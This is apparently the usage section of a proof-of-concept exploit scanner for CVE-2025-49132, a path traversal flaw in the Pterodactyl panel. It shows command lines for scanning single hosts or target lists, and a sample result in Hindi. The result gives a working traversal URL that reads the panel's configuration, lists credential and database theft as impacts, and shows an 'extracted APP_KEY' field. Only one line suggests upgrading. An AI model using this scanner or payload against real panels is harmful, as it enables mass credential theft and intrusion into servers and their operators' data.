python3 CVE-2025-49132_poc.py -u http://pterodactyl.example.com

python3 CVE-2025-49132_poc.py -f 目标列表.txt

python3 CVE-2025-49132_poc.py -f 目标列表.txt -o 扫描结果.txt

[+] भेद्यता मौजूद है: भेद्यता की पुष्टि हुई

    भेद्यता विवरण:
      • भेद्यता प्रकार: पथ ट्रावर्सल
      • आक्रमण वेक्टर: पथ ट्रावर्सल पैरामीटर के माध्यम से /locales/locale.json तक पहुंच
      • शोषण URL: http://target.com/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
      
    संभावित प्रभाव:
      • पैनल कॉन्फ़िगरेशन फ़ाइल (.env) से क्रेडेंशियल पढ़ना
      • डेटाबेस से संवेदनशील जानकारी निकालना
      • पैनल द्वारा प्रबंधित गेम सर्वर फ़ाइलों तक पहुंच
    
    निकाला गया APP_KEY: base64{{your_secret_key_here}}
    
    सुधार सुझाव: तुरंत Pterodactyl v1.11.11 या बाद के संस्करण में अपग्रेड करें